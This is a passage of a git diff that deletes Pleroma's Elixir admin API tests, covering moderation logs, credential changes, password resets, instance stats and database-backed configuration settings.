second_entry["data"]["action"] == "relay_follow" - - assert second_entry["message"] == - "@#{admin.nickname} followed relay: https://example.org/relay" - end - - test "filters log by date", %{conn: conn, admin: admin} do - first_date = "2017-08-15T15:47:06Z" - second_date = "2017-08-20T15:47:06Z" - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.from_iso8601!(first_date) - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.from_iso8601!(second_date) - }) - - conn1 = - get( - conn, - "/api/pleroma/admin/moderation_log?start_date=#{second_date}" - ) - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 1 - assert first_entry["data"]["action"] == "relay_unfollow" - - assert first_entry["message"] == - "@#{admin.nickname} unfollowed relay: https://example.org/relay" - end - - test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - } - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => moderator.id, - "nickname" => moderator.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - } - }) - - conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}") - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 1 - assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id - end - - test "returns log filtered by search", %{conn: conn, moderator: moderator} do - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_follow", - target: "https://example.org/relay" - }) - - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_unfollow", - target: "https://example.org/relay" - }) - - conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo") - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 1 - - assert get_in(first_entry, ["data", "message"]) == - "@#{moderator.nickname} unfollowed relay: https://example.org/relay" - end - end - - test "gets a remote users when [:instance, :limit_to_local_content] is set to :unauthenticated", - %{conn: conn} do - clear_config(Pleroma.Config.get([:instance, :limit_to_local_content]), :unauthenticated) - user = insert(:user, %{local: false, nickname: "u@peer1.com"}) - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") - - assert json_response(conn, 200) - end - - describe "GET /users/:nickname/credentials" do - test "gets the user credentials", %{conn: conn} do - user = insert(:user) - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") - - response = assert json_response(conn, 200) - assert response["email"] == user.email - end - - test "returns 403 if requested by a non-admin" do - user = insert(:user) - - conn = - build_conn() - |> assign(:user, user) - |> get("/api/pleroma/admin/users/#{user.nickname}/credentials") - - assert json_response(conn, :forbidden) - end - end - - describe "PATCH /users/:nickname/credentials" do - setup do - user = insert(:user) - [user: user] - end - - test "changes password and email", %{conn: conn, admin: admin, user: user} do - assert user.password_reset_pending == false - - conn = - patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "password" => "new_password", - "email" => "new_email@example.com", - "name" => "new_name" - }) - - assert json_response(conn, 200) == %{"status" => "success"} - - ObanHelpers.perform_all() - - updated_user = User.get_by_id(user.id) - - assert updated_user.email == "new_email@example.com" - assert updated_user.name == "new_name" - assert updated_user.password_hash != user.password_hash - assert updated_user.password_reset_pending == true - - [log_entry2, log_entry1] = ModerationLog |> Repo.all() |> Enum.sort() - - assert ModerationLog.get_log_entry_message(log_entry1) == - "@#{admin.nickname} updated users: @#{user.nickname}" - - assert ModerationLog.get_log_entry_message(log_entry2) == - "@#{admin.nickname} forced password reset for users: @#{user.nickname}" - end - - test "returns 403 if requested by a non-admin", %{user: user} do - conn = - build_conn() - |> assign(:user, user) - |> patch("/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "password" => "new_password", - "email" => "new_email@example.com", - "name" => "new_name" - }) - - assert json_response(conn, :forbidden) - end - - test "changes actor type from permitted list", %{conn: conn, user: user} do - assert user.actor_type == "Person" - - assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "actor_type" => "Service" - }) - |> json_response(200) == %{"status" => "success"} - - updated_user = User.get_by_id(user.id) - - assert updated_user.actor_type == "Service" - - assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "actor_type" => "Application" - }) - |> json_response(400) == %{"errors" => %{"actor_type" => "is invalid"}} - end - - test "update non existing user", %{conn: conn} do - assert patch(conn, "/api/pleroma/admin/users/non-existing/credentials", %{ - "password" => "new_password" - }) - |> json_response(404) == %{"error" => "Not found"} - end - end - - describe "PATCH /users/:nickname/force_password_reset" do - test "sets password_reset_pending to true", %{conn: conn} do - user = insert(:user) - assert user.password_reset_pending == false - - conn = - patch(conn, "/api/pleroma/admin/users/force_password_reset", %{nicknames: [user.nickname]}) - - assert empty_json_response(conn) == "" - - ObanHelpers.perform_all() - - assert User.get_by_id(user.id).password_reset_pending == true - end - end - - describe "instances" do - test "GET /instances/:instance/statuses", %{conn: conn} do - user = insert(:user, local: false, nickname: "archaeme@archae.me") - user2 = insert(:user, local: false, nickname: "test@test.com") - insert_pair(:note_activity, user: user) - activity = insert(:note_activity, user: user2) - - ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") - - response = json_response(ret_conn, 200) - - assert length(response) == 2 - - ret_conn = get(conn, "/api/pleroma/admin/instances/test.com/statuses") - - response = json_response(ret_conn, 200) - - assert length(response) == 1 - - ret_conn = get(conn, "/api/pleroma/admin/instances/nonexistent.com/statuses") - - response = json_response(ret_conn, 200) - - assert Enum.empty?(response) - - CommonAPI.repeat(activity.id, user) - - ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") - response = json_response(ret_conn, 200) - assert length(response) == 2 - - ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses?with_reblogs=true") - response = json_response(ret_conn, 200) - assert length(response) == 3 - end - end - - describe "PATCH /confirm_email" do - test "it confirms emails of two users", %{conn: conn, admin: admin} do - [first_user, second_user] = insert_pair(:user, confirmation_pending: true) - - assert first_user.confirmation_pending == true - assert second_user.confirmation_pending == true - - ret_conn = - patch(conn, "/api/pleroma/admin/users/confirm_email", %{ - nicknames: [ - first_user.nickname, - second_user.nickname - ] - }) - - assert ret_conn.status == 200 - - assert first_user.confirmation_pending == true - assert second_user.confirmation_pending == true - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} confirmed email for users: @#{first_user.nickname}, @#{ - second_user.nickname - }" - end - end - - describe "PATCH /resend_confirmation_email" do - test "it resend emails for two users", %{conn: conn, admin: admin} do - [first_user, second_user] = insert_pair(:user, confirmation_pending: true) - - ret_conn = - patch(conn, "/api/pleroma/admin/users/resend_confirmation_email", %{ - nicknames: [ - first_user.nickname, - second_user.nickname - ] - }) - - assert ret_conn.status == 200 - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} re-sent confirmation email for users: @#{first_user.nickname}, @#{ - second_user.nickname - }" - - ObanHelpers.perform_all() - - Pleroma.Emails.UserEmail.account_confirmation_email(first_user) - # temporary hackney fix until hackney max_connections bug is fixed - # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 - |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) - |> assert_email_sent() - end - end - - describe "/api/pleroma/admin/stats" do - test "status visibility count", %{conn: conn} do - admin = insert(:user, is_admin: true) - user = insert(:user) - CommonAPI.post(user, %{visibility: "public", status: "hey"}) - CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) - CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) - - response = - conn - |> assign(:user, admin) - |> get("/api/pleroma/admin/stats") - |> json_response(200) - - assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 2} = - response["status_visibility"] - end - - test "by instance", %{conn: conn} do - admin = insert(:user, is_admin: true) - user1 = insert(:user) - instance2 = "instance2.tld" - user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) - - CommonAPI.post(user1, %{visibility: "public", status: "hey"}) - CommonAPI.post(user2, %{visibility: "unlisted", status: "hey"}) - CommonAPI.post(user2, %{visibility: "private", status: "hey"}) - - response = - conn - |> assign(:user, admin) - |> get("/api/pleroma/admin/stats", instance: instance2) - |> json_response(200) - - assert %{"direct" => 0, "private" => 1, "public" => 0, "unlisted" => 1} = - response["status_visibility"] - end - end -end - -# Needed for testing -defmodule Pleroma.Web.Endpoint.NotReal do -end - -defmodule Pleroma.Captcha.NotReal do -end diff --git a/test/web/admin_api/controllers/config_controller_test.exs b/test/web/admin_api/controllers/config_controller_test.exs deleted file mode 100644 index 4e897455f..000000000 --- a/test/web/admin_api/controllers/config_controller_test.exs +++ /dev/null @@ -1,1465 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ConfigControllerTest do - use Pleroma.Web.ConnCase, async: true - - import ExUnit.CaptureLog - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.ConfigDB - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/config" do - setup do: clear_config(:configurable_from_database, true) - - test "when configuration from database is off", %{conn: conn} do - Config.put(:configurable_from_database, false) - conn = get(conn, "/api/pleroma/admin/config") - - assert json_response_and_validate_schema(conn, 400) == - %{ - "error" => "To use this endpoint you need to enable configuration from database." - } - end - - test "with settings only in db", %{conn: conn} do - config1 = insert(:config) - config2 = insert(:config) - - conn = get(conn, "/api/pleroma/admin/config?only_db=true") - - %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => key1, - "value" => _ - }, - %{ - "group" => ":pleroma", - "key" => key2, - "value" => _ - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert key1 == inspect(config1.key) - assert key2 == inspect(config2.key) - end - - test "db is added to settings that are in db", %{conn: conn} do - _config = insert(:config, key: ":instance", value: [name: "Some name"]) - - %{"configs" => configs} = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - [instance_config] = - Enum.filter(configs, fn %{"group" => group, "key" => key} -> - group == ":pleroma" and key == ":instance" - end) - - assert instance_config["db"] == [":name"] - end - - test "merged default setting with db settings", %{conn: conn} do - config1 = insert(:config) - config2 = insert(:config) - - config3 = - insert(:config, - value: [k1: :v1, k2: :v2] - ) - - %{"configs" => configs} = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert length(configs) > 3 - - saved_configs = [config1, config2, config3] - keys = Enum.map(saved_configs, &inspect(&1.key)) - - received_configs = - Enum.filter(configs, fn %{"group" => group, "key" => key} -> - group == ":pleroma" and key in keys - end) - - assert length(received_configs) == 3 - - db_keys = - config3.value - |> Keyword.keys() - |> ConfigDB.to_json_types() - - keys = Enum.map(saved_configs -- [config3], &inspect(&1.key)) - - values = Enum.map(saved_configs, &ConfigDB.to_json_types(&1.value)) - - mapset_keys = MapSet.new(keys ++ db_keys) - - Enum.each(received_configs, fn %{"value" => value, "db" => db} -> - db = MapSet.new(db) - assert MapSet.subset?(db, mapset_keys) - - assert value in values - end) - end - - test "subkeys with full update right merge", %{conn: conn} do - insert(:config, - key: ":emoji", - value: [groups: [a: 1, b: 2], key: [a: 1]] - ) - - insert(:config, - key: ":assets", - value: [mascots: [a: 1, b: 2], key: [a: 1]] - ) - - %{"configs" => configs} = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - vals = - Enum.filter(configs, fn %{"group" => group, "key" => key} -> - group == ":pleroma" and key in [":emoji", ":assets"] - end) - - emoji = Enum.find(vals, fn %{"key" => key} -> key == ":emoji" end) - assets = Enum.find(vals, fn %{"key" => key} -> key == ":assets" end) - - emoji_val = ConfigDB.to_elixir_types(emoji["value"]) - assets_val = ConfigDB.to_elixir_types(assets["value"]) - - assert emoji_val[:groups] == [a: 1, b: 2] - assert assets_val[:mascots] == [a: 1, b: 2] - end - - test "with valid `admin_token` query parameter, skips OAuth scopes check" do - clear_config([:admin_token], "password123") - - build_conn() - |> get("/api/pleroma/admin/config?admin_token=password123") - |> json_response_and_validate_schema(200) - end - end - - test "POST /api/pleroma/admin/config error", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{"configs" => []}) - - assert json_response_and_validate_schema(conn, 400) == - %{"error" => "To use this endpoint you need to enable configuration from database."} - end - - describe "POST /api/pleroma/admin/config" do - setup do - http = Application.get_env(:pleroma, :http) - - on_exit(fn -> - Application.delete_env(:pleroma, :key1) - Application.delete_env(:pleroma, :key2) - Application.delete_env(:pleroma, :key3) - Application.delete_env(:pleroma, :key4) - Application.delete_env(:pleroma, :keyaa1) - Application.delete_env(:pleroma, :keyaa2) - Application.delete_env(:pleroma, Pleroma.Web.Endpoint.NotReal) - Application.delete_env(:pleroma, Pleroma.Captcha.NotReal) - Application.put_env(:pleroma, :http, http) - Application.put_env(:tesla, :adapter, Tesla.Mock) - Restarter.Pleroma.refresh() - end) - end - - setup do: clear_config(:configurable_from_database, true) - - @tag capture_log: true - test "create new config setting in db", %{conn: conn} do - ueberauth = Application.get_env(:ueberauth, Ueberauth) - on_exit(fn -> Application.put_env(:ueberauth, Ueberauth, ueberauth) end) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: "value1"}, - %{ - group: ":ueberauth", - key: "Ueberauth", - value: [%{"tuple" => [":consumer_secret", "aaaa"]}] - }, - %{ - group: ":pleroma", - key: ":key2", - value: %{ - ":nested_1" => "nested_value1", - ":nested_2" => [ - %{":nested_22" => "nested_value222"}, - %{":nested_33" => %{":nested_44" => "nested_444"}} - ] - } - }, - %{ - group: ":pleroma", - key: ":key3", - value: [ - %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, - %{"nested_4" => true} - ] - }, - %{ - group: ":pleroma", - key: ":key4", - value: %{":nested_5" => ":upload", "endpoint" => "https://example.com"} - }, - %{ - group: ":idna", - key: ":key5", - value: %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]} - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => "value1", - "db" => [":key1"] - }, - %{ - "group" => ":ueberauth", - "key" => "Ueberauth", - "value" => [%{"tuple" => [":consumer_secret", "aaaa"]}], - "db" => [":consumer_secret"] - }, - %{ - "group" => ":pleroma", - "key" => ":key2", - "value" => %{ - ":nested_1" => "nested_value1", - ":nested_2" => [ - %{":nested_22" => "nested_value222"}, - %{":nested_33" => %{":nested_44" => "nested_444"}} - ] - }, - "db" => [":key2"] - }, - %{ - "group" => ":pleroma", - "key" => ":key3", - "value" => [ - %{"nested_3" => ":nested_3", "nested_33" => "nested_33"}, - %{"nested_4" => true} - ], - "db" => [":key3"] - }, - %{ - "group" => ":pleroma", - "key" => ":key4", - "value" => %{"endpoint" => "https://example.com", ":nested_5" => ":upload"}, - "db" => [":key4"] - }, - %{ - "group" => ":idna", - "key" => ":key5", - "value" => %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]}, - "db" => [":key5"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:pleroma, :key1) == "value1" - - assert Application.get_env(:pleroma, :key2) == %{ - nested_1: "nested_value1", - nested_2: [ - %{nested_22: "nested_value222"}, - %{nested_33: %{nested_44: "nested_444"}} - ] - } - - assert Application.get_env(:pleroma, :key3) == [ - %{"nested_3" => :nested_3, "nested_33" => "nested_33"}, - %{"nested_4" => true} - ] - - assert Application.get_env(:pleroma, :key4) == %{ - "endpoint" => "https://example.com", - nested_5: :upload - } - - assert Application.get_env(:idna, :key5) == {"string", Pleroma.Captcha.NotReal, []} - end - - test "save configs setting without explicit key", %{conn: conn} do - level = Application.get_env(:quack, :level) - meta = Application.get_env(:quack, :meta) - webhook_url = Application.get_env(:quack, :webhook_url) - - on_exit(fn -> - Application.put_env(:quack, :level, level) - Application.put_env(:quack, :meta, meta) - Application.put_env(:quack, :webhook_url, webhook_url) - end) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":quack", - key: ":level", - value: ":info" - }, - %{ - group: ":quack", - key: ":meta", - value: [":none"] - }, - %{ - group: ":quack", - key: ":webhook_url", - value: "https://hooks.slack.com/services/KEY" - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":quack", - "key" => ":level", - "value" => ":info", - "db" => [":level"] - }, - %{ - "group" => ":quack", - "key" => ":meta", - "value" => [":none"], - "db" => [":meta"] - }, - %{ - "group" => ":quack", - "key" => ":webhook_url", - "value" => "https://hooks.slack.com/services/KEY", - "db" => [":webhook_url"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:quack, :level) == :info - assert Application.get_env(:quack, :meta) == [:none] - assert Application.get_env(:quack, :webhook_url) == "https://hooks.slack.com/services/KEY" - end - - test "saving config with partial update", %{conn: conn} do - insert(:config, key: ":key1", value: :erlang.term_to_binary(key1: 1, key2: 2)) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key1", 1]}, - %{"tuple" => [":key2", 2]}, - %{"tuple" => [":key3", 3]} - ], - "db" => [":key1", ":key2", ":key3"] - } - ], - "need_reboot" => false - } - end - - test "saving config which need pleroma reboot", %{conn: conn} do - chat = Config.get(:chat) - on_exit(fn -> Config.put(:chat, chat) end) - - assert conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/pleroma/admin/config", - %{ - configs: [ - %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} - ] - } - ) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "db" => [":enabled"], - "group" => ":pleroma", - "key" => ":chat", - "value" => [%{"tuple" => [":enabled", true]}] - } - ], - "need_reboot" => true - } - - configs = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert configs["need_reboot"] - - capture_log(fn -> - assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == - %{} - end) =~ "pleroma restarted" - - configs = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert configs["need_reboot"] == false - end - - test "update setting which need reboot, don't change reboot flag until reboot", %{conn: conn} do - chat = Config.get(:chat) - on_exit(fn -> Config.put(:chat, chat) end) - - assert conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/pleroma/admin/config", - %{ - configs: [ - %{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]} - ] - } - ) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "db" => [":enabled"], - "group" => ":pleroma", - "key" => ":chat", - "value" => [%{"tuple" => [":enabled", true]}] - } - ], - "need_reboot" => true - } - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]} - ] - }) - |> json_response_and_validate_schema(200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key3", 3]} - ], - "db" => [":key3"] - } - ], - "need_reboot" => true - } - - capture_log(fn -> - assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == - %{} - end) =~ "pleroma restarted" - - configs = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert configs["need_reboot"] == false - end - - test "saving config with nested merge", %{conn: conn} do - insert(:config, key: :key1, value: [key1: 1, key2: [k1: 1, k2: 2]]) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":pleroma", - key: ":key1", - value: [ - %{"tuple" => [":key3", 3]}, - %{ - "tuple" => [ - ":key2", - [ - %{"tuple" => [":k2", 1]}, - %{"tuple" => [":k3", 3]} - ] - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key1", 1]}, - %{"tuple" => [":key3", 3]}, - %{ - "tuple" => [ - ":key2", - [ - %{"tuple" => [":k1", 1]}, - %{"tuple" => [":k2", 1]}, - %{"tuple" => [":k3", 3]} - ] - ] - } - ], - "db" => [":key1", ":key3", ":key2"] - } - ], - "need_reboot" => false - } - end - - test "saving special atoms", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{ - "tuple" => [ - ":ssl_options", - [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{ - "tuple" => [ - ":ssl_options", - [%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}] - ] - } - ], - "db" => [":ssl_options"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:pleroma, :key1) == [ - ssl_options: [versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]] - ] - end - - test "saving full setting if value is in full_key_update list", %{conn: conn} do - backends = Application.get_env(:logger, :backends) - on_exit(fn -> Application.put_env(:logger, :backends, backends) end) - - insert(:config, - group: :logger, - key: :backends, - value: [] - ) - - Pleroma.Config.TransferTask.load_and_update_env([], false) - - assert Application.get_env(:logger, :backends) == [] - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - group: ":logger", - key: ":backends", - value: [":console"] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":logger", - "key" => ":backends", - "value" => [ - ":console" - ], - "db" => [":backends"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:logger, :backends) == [ - :console - ] - end - - test "saving full setting if value is not keyword", %{conn: conn} do - insert(:config, - group: :tesla, - key: :adapter, - value: Tesla.Adapter.Hackey - ) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":tesla", key: ":adapter", value: "Tesla.Adapter.Httpc"} - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":tesla", - "key" => ":adapter", - "value" => "Tesla.Adapter.Httpc", - "db" => [":adapter"] - } - ], - "need_reboot" => false - } - end - - test "update config setting & delete with fallback to default value", %{ - conn: conn, - admin: admin, - token: token - } do - ueberauth = Application.get_env(:ueberauth, Ueberauth) - insert(:config, key: :keyaa1) - insert(:config, key: :keyaa2) - - config3 = - insert(:config, - group: :ueberauth, - key: Ueberauth - ) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":keyaa1", value: "another_value"}, - %{group: ":pleroma", key: ":keyaa2", value: "another_value"} - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":keyaa1", - "value" => "another_value", - "db" => [":keyaa1"] - }, - %{ - "group" => ":pleroma", - "key" => ":keyaa2", - "value" => "another_value", - "db" => [":keyaa2"] - } - ], - "need_reboot" => false - } - - assert Application.get_env(:pleroma, :keyaa1) == "another_value" - assert Application.get_env(:pleroma, :keyaa2) == "another_value" - assert Application.get_env(:ueberauth, Ueberauth) == config3.value - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{group: ":pleroma", key: ":keyaa2", delete: true}, - %{ - group: ":ueberauth", - key: "Ueberauth", - delete: true - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [], - "need_reboot" => false - } - - assert Application.get_env(:ueberauth, Ueberauth) == ueberauth - refute Keyword.has_key?(Application.get_all_env(:pleroma), :keyaa2) - end - - test "common config example", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Captcha.NotReal", - "value" => [ - %{"tuple" => [":enabled", false]}, - %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, - %{"tuple" => [":seconds_valid", 60]}, - %{"tuple" => [":path", ""]}, - %{"tuple" => [":key1", nil]}, - %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, - %{"tuple" => [":regex1", "~r/https:\/\/example.com/"]}, - %{"tuple" => [":regex2", "~r/https:\/\/example.com/u"]}, - %{"tuple" => [":regex3", "~r/https:\/\/example.com/i"]}, - %{"tuple" => [":regex4", "~r/https:\/\/example.com/s"]}, - %{"tuple" => [":name", "Pleroma"]} - ] - } - ] - }) - - assert Config.get([Pleroma.Captcha.NotReal, :name]) == "Pleroma" - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Captcha.NotReal", - "value" => [ - %{"tuple" => [":enabled", false]}, - %{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]}, - %{"tuple" => [":seconds_valid", 60]}, - %{"tuple" => [":path", ""]}, - %{"tuple" => [":key1", nil]}, - %{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}, - %{"tuple" => [":regex1", "~r/https:\\/\\/example.com/"]}, - %{"tuple" => [":regex2", "~r/https:\\/\\/example.com/u"]}, - %{"tuple" => [":regex3", "~r/https:\\/\\/example.com/i"]}, - %{"tuple" => [":regex4", "~r/https:\\/\\/example.com/s"]}, - %{"tuple" => [":name", "Pleroma"]} - ], - "db" => [ - ":enabled", - ":method", - ":seconds_valid", - ":path", - ":key1", - ":partial_chain", - ":regex1", - ":regex2", - ":regex3", - ":regex4", - ":name" - ] - } - ], - "need_reboot" => false - } - end - - test "tuples with more than two values", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Web.Endpoint.NotReal", - "value" => [ - %{ - "tuple" => [ - ":http", - [ - %{ - "tuple" => [ - ":key2", - [ - %{ - "tuple" => [ - ":_", - [ - %{ - "tuple" => [ - "/api/v1/streaming", - "Pleroma.Web.MastodonAPI.WebsocketHandler", - [] - ] - }, - %{ - "tuple" => [ - "/websocket", - "Phoenix.Endpoint.CowboyWebSocket", - %{ - "tuple" => [ - "Phoenix.Transports.WebSocket", - %{ - "tuple" => [ - "Pleroma.Web.Endpoint", - "Pleroma.Web.UserSocket", - [] - ] - } - ] - } - ] - }, - %{ - "tuple" => [ - ":_", - "Phoenix.Endpoint.Cowboy2Handler", - %{"tuple" => ["Pleroma.Web.Endpoint", []]} - ] - } - ] - ] - } - ] - ] - } - ] - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => "Pleroma.Web.Endpoint.NotReal", - "value" => [ - %{ - "tuple" => [ - ":http", - [ - %{ - "tuple" => [ - ":key2", - [ - %{ - "tuple" => [ - ":_", - [ - %{ - "tuple" => [ - "/api/v1/streaming", - "Pleroma.Web.MastodonAPI.WebsocketHandler", - [] - ] - }, - %{ - "tuple" => [ - "/websocket", - "Phoenix.Endpoint.CowboyWebSocket", - %{ - "tuple" => [ - "Phoenix.Transports.WebSocket", - %{ - "tuple" => [ - "Pleroma.Web.Endpoint", - "Pleroma.Web.UserSocket", - [] - ] - } - ] - } - ] - }, - %{ - "tuple" => [ - ":_", - "Phoenix.Endpoint.Cowboy2Handler", - %{"tuple" => ["Pleroma.Web.Endpoint", []]} - ] - } - ] - ] - } - ] - ] - } - ] - ] - } - ], - "db" => [":http"] - } - ], - "need_reboot" => false - } - end - - test "settings with nesting map", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{ - configs: [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key2", "some_val"]}, - %{ - "tuple" => [ - ":key3", - %{ - ":max_options" => 20, - ":max_option_chars" => 200, - ":min_expiration" => 0, - ":max_expiration" => 31_536_000, - "nested" => %{ - ":max_options" => 20, - ":max_option_chars" => 200, - ":min_expiration" => 0, - ":max_expiration" => 31_536_000 - } - } - ] - } - ] - } - ] - }) - - assert json_response_and_validate_schema(conn, 200) == - %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => ":key1", - "value" => [ - %{"tuple" => [":key2", "some_val"]}, - %{ - "tuple" => [ - ":key3", - %{ - ":max_expiration" => 